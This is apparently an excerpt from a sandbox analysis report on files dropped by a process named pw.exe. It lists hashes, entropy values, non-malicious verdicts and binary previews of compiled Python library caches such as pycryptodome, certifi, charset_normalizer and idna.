Preview:	o.........Sgh~.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.d(d.d...Z.d(d.d...Z.d(d.d...Z.e.j.d.d.....d.k.r>e.j.Z.n.d.d...Z.e.j.d.d.....d.k.rPd.d...Z.n.d.d...Z.d(d.d...Z.d(d.d...Z.d)d.d...Z.dd.d...Z.d.d.l.Z.d+d.d ..Z.d!d"..Z.d.d.l.Z.d+d#d$..Z.d%d&..Z.d'Z.d.S.),.....N)...Random)...iter_rangec....................C...sP...\|.d.k.r.t.....\|.d.k.s.\|.d.k.r.t.d.....t.\|.\|...\.}.}.\|.d.k.r&\|.d.k.r&\|.d.7.}.\|.S.).zDReturn ceil(n/d), that is, the smallest integer r such that rd >= nr....z.Non positive values.....)...ZeroDivisionError..ValueError..divmod)...n..d..r..q..r.....5C:\recover\pw\lib\site-packages\Crypto\Util\number.py..ceil_div%...s....................r....c....................C...s....\|.d.k.r.t.d.....\|.....S.).z)Returns the size of the number N in bits.r....z4Size in bits only available for non-negative numbers).r......bit_length)...Nr....r....r......size2...s..........r....c....................C...sZ...\|.d.u.r.t.j.}.\|.\|.d.?...}.\|.d..

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\py3compat.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5232
Entropy (8bit):	4.9083063306746135
Encrypted:	false
SSDEEP:	96:gcF/EpktYDLOjIWTmpSaRBF7mgcuDi/e/7/9whOJZg+6B6cGZ2B+uWc7xUK6It:gW/EpkGUIW82auWzL0zJU+
MD5:	F387529E4BBF2838A3F91959018C5E9A
SHA1:	CE46BEC58399EC07B760DFB3C60C4869009EF258
SHA-256:	C2BFB8A3CA1F8274232B345684F94CD869CF51AFC533C02284EF6B14D03EDA63
SHA-512:	5E47A7910D86316876507A6B6D7DC8C27CAFA3F1F708A129C347BD0084974D89CE2A3D394E0EAFA5012A97AD95D1533AF5A9E92217D651CB8E7F9F57B65523B8
Malicious:	false
Preview:	o.........Sgz........................@...sX...d.Z.d.d.l.Z.d.d.l.Z.e.j.d...d.k.r[d.d...Z.d.d...Z.d.d...Z.d.d...Z.d0d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.l.m.Z...e.Z.d.d.l.m.Z...e.Z.d.d...Z.d.d...Z.d.d...Z.e...d.e.f.d.d.i...Z.e.Z.nId d...Z.d!d...Z.d"d...Z.d#d...Z.d0d$d...Z.d%d...Z.d&d...Z.d'd...Z.d.d(l.m.Z...d.d.l.m.Z...d.d)l.m.Z...e.Z.d*d...Z.d+d...Z.d,d...Z.d.d-l.m.Z...e.Z.d.d/..Z.[.[.d.S.)1a....Compatibility code for handling string/bytes changes from Python 2.x to Py3k..In Python 2.x, strings (of type ''str'') contain binary data, including encoded.Unicode text (e.g. UTF-8). The separate type ''unicode'' holds Unicode text..Unicode literals are specified via the u'...' prefix. Indexing or slicing.either type always produces a string of the same type as the original..Data read from a file is always of '''str'' type...In Python 3.x, strings (type ''str'') may only contain Unicode text. The u'...'.prefix and the ''unicode'' type are now redundant. A new type (called.''bytes'') has to b

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\strxor.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	5.085872604001141
Encrypted:	false
SSDEEP:	48:VjdkxR/B0sI/LU/kwf+RDQ+XfxGvRrccFVQuWP/Z6mQaG8PR02B4Ho4Uw7sR:Vxkv/3WLJwyJfmRrccFuz/Z6CG8G1hW
MD5:	229192335A2CD697D03F001D26316374
SHA1:	FC37DDA8604403BCBC8475439F481ADE171BA4BD
SHA-256:	C0D929DAE831DE91AF2EA4A33E1E17F9237590A823170F2F0252EF4CB1577F9A
SHA-512:	B3DBB0CADCCBD98B1F02EF3CC8D2A0AC2577149265EFA2329357A8E6D3FF1672149266E866A47BFD7360BE629370C7D762A1CB99AB6EE526015305645A5097FA
Malicious:	false
Preview:	o.........Sg.........................@...sJ...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..create_string_buffer..get_raw_buffer..c_uint8_ptr..is_writeable_bufferz.Crypto.Util._strxoray.... void strxor(const uint8_t in1,. const uint8_t in2,. uint8_t out, size_t len);. void strxor_c(const uint8_t in,. uint8_t c,. uint8_t *out,. size_t len);. Nc....................C...s....t.\|...t.\|...k.r.t.d.....\|.d.u.r.t.t.\|.....}.n.\|.}.t.\|...s!t.d.....t.\|...t.\|...k.r1t.d.t.\|.........t...t.\|...t.\|...t.\|...t.t.\|.........\|.d.u.rKt.\|...S.d.S.).a....From two byte strings of equal length,. create a third one which is the byte-by-byte XOR of the two... Args:. term1 (bytes/bytearray/memoryview):. Th

C:\recover\pw\lib\site-packages\Crypto\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.049036743608943
Encrypted:	false
SSDEEP:	6:y/OYB21NXYvAL/tdxmAfTwAvrXGl/llYlekkvuPllfF7kArMDPb9tuabWi9n:COY6ovkxNXjkkU4FUf9oyF
MD5:	72C9BF82904303FCD257029169A59E3E
SHA1:	E4F0E1C378F16EBF734054938686780E88B8C68E
SHA-256:	D3CB91AEDFE78720D28487155E3AFA6CA386A83E0B0DC9D2F2537AB05D308431
SHA-512:	66B959C94E1C02D8B7A0F1728000072C88C021CDAAB7BF0FF73FFEEA89141CEDA9FC5148A82F7E32D0EB57B9F64F86D771C4B680ADB6659955D36D127F9CFF5C
Malicious:	false
Preview:	o.........Sg.........................@...s$...g.d...Z.d.Z.d...d.d...e.D.....Z.d.S.).).Z.CipherZ.Hash..ProtocolZ.PublicKeyZ.Util..Signature..IOZ.Math).............0...c....................C...s....g.\|.].}.t.\|.....q.S...)...str)....0..xr....r.....2C:\recover\pw\lib\site-packages\Crypto\__init__.py..<listcomp>....s......r....N)...__all__..version_info..join..__version__r....r....r....r......<module>....s..........

C:\recover\pw\lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7550
Entropy (8bit):	5.069217008278344
Encrypted:	false
SSDEEP:	192:RcgPE5v1nnqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3YbkqZPqqq3KqUCwqEMlkgM:byv1nnqs+67pqqx0H/8qq/xqqqRuLMXC
MD5:	A30D8B16845C7EBB27CE80EFD5FE2EAB
SHA1:	4D245E50E71377777E3F7899F7A5EC7BCEA27FBB
SHA-256:	26ACD3DA52A6397FA31AFD64DC4DA3F3EB68DC1B2C5C50D63F9C9ED363E93F6E
SHA-512:	853CF8F2F33654B208053D0CA7CD5718EE5D9713A3C0D2260FC2010C759456EC3187535597779AF6CA7E9C9264F890C369AB4CDB6804F63357511B4727DCECF4
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....;C:\recover\pw\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.d.l.}.\|...d.....d.d...t.j

C:\recover\pw\lib\site-packages\certifi\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.910498360448313
Encrypted:	false
SSDEEP:	6:y/G6CeNbsZvEG/Xg6nCbWjN2oZKkArsq4G:CkeNQeGVN2oZxq7
MD5:	D85BB78F20748F87F3EE6D09DDB77F66
SHA1:	23E24F3A0787506F55E95B505F633B725655D02F
SHA-256:	15F80745D0C2EBEE69939777995AB4499FC5872D2A14CE2433C3C3FD5ACBC51D
SHA-512:	7F0BCE8375A4A0FC90683E53F07AECAA62B81BC05DF61662A76072F6E598AE76CED92D3EFF6BB699D479575905CF271FA13066F0E74E8068293C5E060C23213D
Malicious:	false
Preview:	o.........Sg^........................@...s ...d.d.l.m.Z.m.Z...d.d.g.Z.d.Z.d.S.)......)...contents..wherer....r....z.2024.08.30N)...corer....r......__all__..__version__..r....r.....3C:\recover\pw\lib\site-packages\certifi\__init__.py..<module>....s..........

C:\recover\pw\lib\site-packages\certifi\pycache\core.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	4.910210854228122
Encrypted:	false
SSDEEP:	48:9BUoxmgDZLaNAl/g95K3Q8+epPUHq7J8nH:jUC/wcg955epA1H
MD5:	5795DCDDF21682776F0E687CDC147103
SHA1:	300B70629A9D99212CB280E1B20512C15CCFED18
SHA-256:	0D6525B5415E9F91F08C2B0AA628B4E7E3D1FC5FD8A60F595B9662948A8AB1A0
SHA-512:	5F895C1BB5C12EF838CA0A9B744EC9A2F6F81F40F9FB0C58852954B189049EF2ED1405A36E365D221414C0DAC619467F3323466E75184AAF60ED9BB930E07ACB
Malicious:	false
Preview:	o.........SgJ........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.d...Z.e.j.d.k.r0d.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.e.j.d.k.rQd.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.j.e.f...Z.e.e.d.f...Z.....d.d.e.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.).ze.certifi.py.~~~~~~~~~~..This module returns the installation location of cacert.pem or its contents.......N..returnc....................C...s....t...d.d.d.....d.S.).N)..._CACERT_CTX..__exit__..r....r...../C:\recover\pw\lib\site-packages\certifi\core.py..exit_cacert_ctx....s......r....)...........)...as_file..filesc....................C...s4...t.d.u.r.t.t.d.....d.....a.t.t.......a.t...t.....t.S...N..certifi..cacert.pem)..._CACERT_PATHr....r......joinpathr......str..__enter__..atexit..registerr....r....r....r....r......where....s..............r....c....................C...s....t.d.....d...j.d.d...S...Nr....r......ascii....encoding).r....r......read_textr....r.

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1553
Entropy (8bit):	5.681693779250836
Encrypted:	false
SSDEEP:	48:x4jbqjQtyat/c2vhCMhju/C/yv+K50eUy:xWbqjQttwZ/C/yvv2eUy
MD5:	4F759CAB2B8AC1771E8971943AC9C92D
SHA1:	38D0934DE15BB92AE9E916804900235812CDB91E
SHA-256:	75D8261EED0C83AC61B0655F74AD7F17ABB5D26BB99C22C9C8B6B144E94A5A66
SHA-512:	F485E29BD007C302BF704B2B547F5CDA465C99218C760B737AFD82A5F1ABA94A2443875702B6B3B900C44486B0F8E5B1E5C8DACCF021AFCB5961202554919108
Malicious:	false
Preview:	o.........SgW........................@...sx...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.e...d.....e.........d.S.).u.....Charset-Normalizer.~~~~~~~~~~~~~~.The Real First Universal Charset Detector..A library that helps you read text from an unknown charset encoding..Motivated by chardet, This package is trying to resolve the issue by taking a new approach..All IANA character set names for which the Python core library provides codecs are supported...Basic usage:. >>> from charset_normalizer import from_bytes. >>> results = from_bytes('B.... ..... ... ..... .. ............ O............!'.encode('utf_8')). >>> best_guess = results.best(). >>> str(best_guess). 'B.... ..... ... ..... .. ............ O............!'..Others methods and usages are available - see the full documentation.at <https://github.com/Ousret/charset_normalizer>..:copyright

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\api.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11370
Entropy (8bit):	5.8168170333499445
Encrypted:	false
SSDEEP:	192:HWeJLd8V6fySfPAraft774k4M1Cz9ZZERQOBJzCTrFkYAr64BpmA+ifAgQSK5FQm:HWeJLdcS7ft77cZZaJzCvNm64mA+ifA9
MD5:	C5F79E570B4394BAE39028D998C3630F
SHA1:	B7D9292AF127F36C3D42F974F7A81693CE2EDAE1
SHA-256:	DE045D5F73E987F54DA69F3A693B4560C45BCFD5430417D2E77F7FAEFBC221CA
SHA-512:	5C940B79BD173D815DFDFD9F383AA904EFFEB3F0B4321D506A4FFA12C4630090F0F0086C8C5D574F8D274FD9B55822053CE8C6132569134A58A2FA82BD1CC79B
Malicious:	false
Preview:	o.........Sg.T.......................@...sL...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.. d...Z!e.."..Z#e#.$e..%d.........................d(d.e.e&e'f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d.d...Z,..................d(d.e.d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d d!..Z-..................d(d"e.ee&e.f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d#d$..Z...................d)d%e.e.ee.e&f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e+f.d&d'..Z/d.S.)*.....N)...PathLike)...BinaryIO..List..Optional..Set..Union.....)...coherence_ratio..encoding_languages..mb_encoding_languages..merge_coherence_ratios)...IANA_SUPPORTED..TOO_BIG_SEQUENCE..TOO_SMALL_SEQUENCE..TRACE)...mess_ratio)...CharsetMatch..CharsetMatches)...any_specified_encoding..cut_sequence_chunks..iana_name..identify_sig_or_bom..is_cp_similar..is_multi_b

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\cd.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9631
Entropy (8bit):	5.510346282985943
Encrypted:	false
SSDEEP:	192:Fq5fjeApoIRl8if8gZ+hjj2mspqjrOBTLpPc7nSgGKO56ytTatX79w/kfTYY:o5f/Tf8g5mymOBT9Pc7nLGKO56yQt7eu
MD5:	C13DA050982A372E566F51421C408F05
SHA1:	926BEFC987801F2D6D28EC47C1B795A090B76B3B
SHA-256:	61AC0E0821A7B7DE2E1D09C7AF8AC799452CFE6F41AC612FD91D701D28206658
SHA-512:	9A6D36B35E952D45056E5ACBF7EFA14335A5A5ADBD920A79E72A3A4B712BF8731611DB3F4EE14D73364EB0C205F96920D472FB25D2659C2AD420D8554E150801
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.e.d.e.e...f.d.d...Z.d.e.d.e.e...f.d.d...Z.e...d.e.d.e.e...f.d.d.....Z e...d.e.d.e.e...f.d.d.....Z!e.e.d...d.e.d.e.e"e"f...f.d.d.....Z#..d0d.e.e...d.e"d.e.e...f.d.d...Z$d.e.d.e.e...d.e%f.d d!..Z&d"e.d.e.e...f.d#d$..Z'd%e.e...d.e.f.d&d'..Z(d%e.d.e.f.d(d)..Z)e.dd.....d1d"e.d,e%d-e.e...d.e.f.d.d/....Zd.S.)2.....N)...IncrementalDecoder)...Counter)...lru_cache).r......Dict..List..Optional..Tuple.....)...FREQUENCIES..KO_NAMES..LANGUAGE_SUPPORTED_COUNT..TOO_SMALL_SEQUENCE..ZH_NAMES).. is_suspiciously_successive_range)...CoherenceMatches)...is_accentuated..is_latin..is_multi_byte_encoding..is_unicode_range_secondary..unicode_range..iana_name..returnc........................s....t.\|...r.t.d.....t...d...\|.....j.}.\|.d.d...}.i...d...t.d.d...D.]/}.\|...t.\|.g.....}.\|.rNt.\|...}.\|.d.u.r4q.t.\|...d.u.rN\|...

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\constant.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	30419
Entropy (8bit):	5.88008054943932
Encrypted:	false
SSDEEP:	768:zvZKN0taqbKcwF7wuCDQ/abpp2dmnFu3GJusAVlufzR7c:zvZ6EKcR7mQP8g8luft7c
MD5:	925785BDD41F3186275CE629D321B69C
SHA1:	180CEA4412C0A3AF9836FB0ED10A0C4418CA514D
SHA-256:	494A1B8204208FF28C7D2C032CA1F75275B8B0B43A34AD5C7BABC9840B1D134D
SHA-512:	FC9B8BA1D510ED6B92B8779EB3AE6840515378EA62599977EE37FC7232CF5B18F8E8DEA3C458DEBD90487D3034F8CDB91C2C5C227CB36915A94B1703CC936D1C
Malicious:	false
Preview:	o.........Sg........................@...s~...U.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.g.d...d.e.e.g.e.e.g.d...Z.e.e.e.e.e.e...f...f...e.d.<.d.Z.e.e.d.<.e.d...Z.e.e.d.<.d.Z.e.e.d.<.i.d.e.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d e.d.d!....d"e.d!d#....d$e.d#d%....d&e.d%d'....d(e.d'd)....d*e.d)d+....d,e.d+d-....d.e.d-d/....i.d0e.d/d1....d2e.d1d3....d4e.d3d5....d6e.d5d7....d8e.d7d9....d:e.d9d;....d<e.d;d=....d>e.d=d?....d@e.d?dA....dBe.dAdC....dDe.dCdE....dFe.dEdG....dHe.dGdI....dJe.dIdK....dLe.dKdM....dNe.dMdO....dPe.dOdQ......i.dRe.dQdS....dTe.dSdU....dVe.dUdW....dXe.dWdY....dZe.dYd[....d\e.d[d]....d^e.d]d_....d`e.d_da....dbe.dadc....dde.dcde....dfe.dedg....dhe.dgdi....dje.didk....dle.dkdm....dne.dmdo....dpe.dodq....dre.dqds......i.dte.dsdu....dve.dudw....dxe.dwdy....dze.dyd{....d\|e.d{d}....d~e.d}d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d...

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\legacy.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	5.478470180381248
Encrypted:	false
SSDEEP:	48:NwwE8mcebSh3Ue75yubxeNOhsV4m/e+NK29:NwAmcebSyo5yc4NFV4m/e+Nn
MD5:	4EE10A5D886EFD4EE9D2E8F52D5599D3
SHA1:	B88BDA949A491259881D781AD47E2BD59FBBBBF0
SHA-256:	F98CF747BFC7570709318228AE501F6A3ADF5B06D50970C300CE08E802389D91
SHA-512:	ADEACD21EC10CF3FD696AC255F45A5161EB02E2F458D1CBE11C03A2FC9F73A8D56FEA3A5B846C369D6FD7ABD0ED1955604B672E811E5B89277A32E6544DB3809
Malicious:	false
Preview:	o.........SgM........................@...sr...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.d.e.d.e.d.e.d.e.e.e.e.e.e.f.....f...f.d.d...Z.d.S.)......)...Any..Dict..Optional..Union)...warn.....)...from_bytes)...CHARDET_CORRESPONDENCEF..byte_str..should_rename_legacy..kwargs..returnc....................K...s....t.\|...r.t.d.d...t.\|...........d.......t.\|.t.t.f...s#t.d...t.\|.........t.\|.t...r,t.\|...}.t.\|.......}.\|.d.u.r9\|.j.n.d.}.\|.d.u.rG\|.j.d.k.rG\|.j.n.d.}.\|.d.u.rRd.\|.j...n.d.}.\|.d.u.rc\|.d.k.rc\|.j.rc\|.d.7.}.\|.d.u.ro\|.t.v.rot.\|...}.\|.\|.\|.d...S.).aJ.... chardet legacy method. Detect the encoding of the given byte string. It should be mostly backward-compatible.. Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it). This function is deprecated and should be used to migrate your project easily, consult the documentation for. further information. Not planned for removal... :param byte_str: The byte seque

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\models.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11514
Entropy (8bit):	5.167725089585784
Encrypted:	false
SSDEEP:	192:q3OuW/wM2HQVZI3mkrM0Af4/W7QeyRhhpermRK+pQCBdjWdIq:qeunM2HQVZIjrdAf4eSvhpeKc+iCHWdD
MD5:	39F1940CD5117AC9C40AFFC512D3EEEE
SHA1:	034F794C614454E52CF46FFC096922B0BA0836BF
SHA-256:	169B91D375D6CE10D3E10ABEFA4720765E225D6996890D2DCF5A596413EDF570
SHA-512:	5F55FC7F8C3BB9A8A2A10AEE802C71926D796104B88E13444CB49527F1B06696FEC4D53AC5828E437320635E49E0860AF08890C420E8E77FE7878AF5030C8440
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d...Z.G.d.d...d...Z.e.e.e.f...Z.e.e...Z.G.d.d...d...Z.d.S.)......)...aliases)...sha256)...dumps)...Any..Dict..Iterator..List..Optional..Tuple..Union.....)...TOO_BIG_SEQUENCE)...iana_name..is_multi_byte_encoding..unicode_rangec....................@...s....e.Z.d.Z...d=d.e.d.e.d.e.d.e.d.d.d.e.e...f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.e.d.e.f.d.d.....Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d>d.d...Z.e.d.e.f.d.d.....Z.e.d.e.e...f.d.d.....Z.e.d.e.f.d.d.....Z.e.d.e.f.d.d ....Z.e.d.e.e...f.d!d"....Z.e.d.e.f.d#d$....Z.e.d.e.f.d%d&....Z.e.d.e.f.d'd(....Z.e.d.e.f.d)d*....Z.e.d.e.f.d+d,....Z.e.d.e.f.d-d.....Z.e.d.e.d...f.d/d0....Z.e.d.e.f.d1d2....Z.e.d.e.e...f.d3d4....Z.e.d.e.e...f.d5d6....Z d?d8e.d.e.f.d9d:..Z!e.d.e.f.d;d<....Z"d.S.)@..CharsetMatchN..payload..guessed_encoding..mean_mess_ratio..has_sig_or_bom..languages..CoherenceMatches..decod

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\utils.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8895
Entropy (8bit):	5.45990648893017
Encrypted:	false
SSDEEP:	192:NPkSSo/TPTRTa5Tl1T+T8IunXUd2ZQB4lYuoFaFEj:DSQrBalFA8ImEcyurFo
MD5:	47A491A62A97DBDC42D30A228C81CAA2
SHA1:	7259F2A7E764A26E479644FAC50888FAB8599E1D
SHA-256:	5414DEFEB7CCFD1B6D28DD1B328930779688A686E40CFC7279114692F8B0BDDD
SHA-512:	65936B01F72B4789704B3E5704609E8EC81F3EA351984A7817BB00B2DF910A5AE34FE6A2947B2D523239EE6E13D0143D78AA2D5FBB0F6C3AAAA613B21440A4B5
Malicious:	false
Preview:	o.........Sg.0.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.e...f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z e.e.d...d.e.d.e.f.d.d.....Z!e.e.d...d.e.d.e.f.d.d.....Z"e.e.d...d.e.d.e.f.d.d.....Z#e.e.d...d.e.d.e.f.d.d.....Z$e.e.d...d.e.d.e.f.d.d.....Z%e.e.d...d.e.d.e.f.d.d ....Z&e.e.d...d.e.d.e.f.d!d"....Z'e.e.d...d.e.d.e.f.d#d$....Z(e.e.d...d.e.d.e.f.d%d&....Z)e.e.d...d.e.d.e.f.d'd(....Ze.e.d...d.e.d.e.f.d)d....Z+e.e.d...d.e.d.e.f.d+d,....Z,e.e-e...d...d-e.d.e.f.d.d/....Z.e.e.d...d.e.d.e.f.d0d1....Z/d_d3e0d4e1d.e.e...f.d5d6..Z2e.d7d...d8e.d.e.f.d9d:....Z3d3e0d.e.e.e...e0f...f.d;d<..Z4d=e.d.e.f.d>d?..Z5d`dAe.dBe.d.e.f.dCdD..Z6dEe.d.e.e...f.dFdG..Z7dHe.dIe.d.e8f.dJdK..Z9dHe.dIe.d.e.f.dLdM..Z:dNe.j;dOf.d8e.dPe1dQe.d.d.f.dRdS..Z<..dadTe0dUe.dVe=dWe1dXe.dYe.dZe0d[e.d\e.e...d.e.e.d.d.f...f.d]d^

C:\recover\pw\lib\site-packages\charset_normalizer\pycache\version.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	239
Entropy (8bit):	5.172944918107058
Encrypted:	false
SSDEEP:	6:y/Gl8/z/Oszurb64b/uMkArsQx6G3D8Isi:CU8/z/OsJa0Q8GT8Iv
MD5:	69B3DC5247B2B95F36C10A9E657E23A8
SHA1:	3D34F5EAE4CB978EC2F34D417A82F4BBB65F7B51
SHA-256:	727FAFE251CF5C98DEA7EACD310916ACB64488E1863FBE876A7F541396E8D201
SHA-512:	CB40FE6B3E75AA0558968E8A967EF7506FCD1B2154B7D8BD128BB0B1263CF9505A9ACD1392C8E335610F4B8C0F13710AE745C31598FFFEDF3D0DE7E27157A896
Malicious:	false
Preview:	o.........SgU........................@...s....d.Z.d.Z.e...d...Z.d.S.).z..Expose version.z.3.3.2...N)...__doc__..__version__..split..VERSION..r....r.....=C:\recover\pw\lib\site-packages\charset_normalizer\version.py..<module>....s..........

C:\recover\pw\lib\site-packages\idna\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	5.033666751480421
Encrypted:	false
SSDEEP:	12:CNSrJBifjefr9xLGmdChEYOcAMmXkOOs28s4qUUjOs28ssqU/zMzx5:ZijeXL/whvOcAdtOb8fcjOb89Dy
MD5:	82E4B7F54E1E521BE5F0E2C500E40832
SHA1:	E8F9C6E69CCF86464C6E4C0DF6BDA2BCE01F9CB6
SHA-256:	750B451729984DAF7E77194ADC6AE91A36EB55F8A8DF5D154A834130B64DA070
SHA-512:	C23BADC219F6AF3D99EE74C580D4926C54DCABBECB356321DBD2EF555A3BD8EDB47F83AB0C9C86E68CBFD5166E1702800C40D775014EFD18C6C25773DB131E35
Malicious:	false
Preview:	o.........Sgd........................@...st...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.S.)......)...IDNABidiError..IDNAError..InvalidCodepoint..InvalidCodepointContext..alabel..check_bidi..check_hyphen_ok..check_initial_combiner..check_label..check_nfc..decode..encode..ulabel..uts46_remap..valid_contextj..valid_contexto..valid_label_length..valid_string_length)...intranges_contain)...__version__).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...corer....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....Z.intrangesr....Z.package_datar......__all__..r....r.....0C:\recover\pw\lib\site-packages\idna\__init__.py..<module>....s....P.......

C:\recover\pw\lib\site-packages\idna\pycache\core.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9902
Entropy (8bit):	5.440426540463609
Encrypted:	false
SSDEEP:	192:9ePGIILf6b6+bMh9t5uszP0M7Bhu5XCwY2uVNnaMWT/czpko:sPpI9+bMPt5usb1h0XFY2ubnUbQ
MD5:	79AF7B564230054474619450E5D0A474
SHA1:	D8E291EE7F8DBB3A953B6BB04B0503560E44EC93
SHA-256:	EE6147F919D97511836F8E0D89EBA311FE70891E0629B45D8CB4935EAB2C9F74
SHA-512:	1208B026FFAAE860971424EC3C57465FF571618EFE8AAD40101E01AC7CD623C3F8A8E1F2DF40C70CE438F7489CC762775AE199E018DDF2B45171A7075FE95BBB
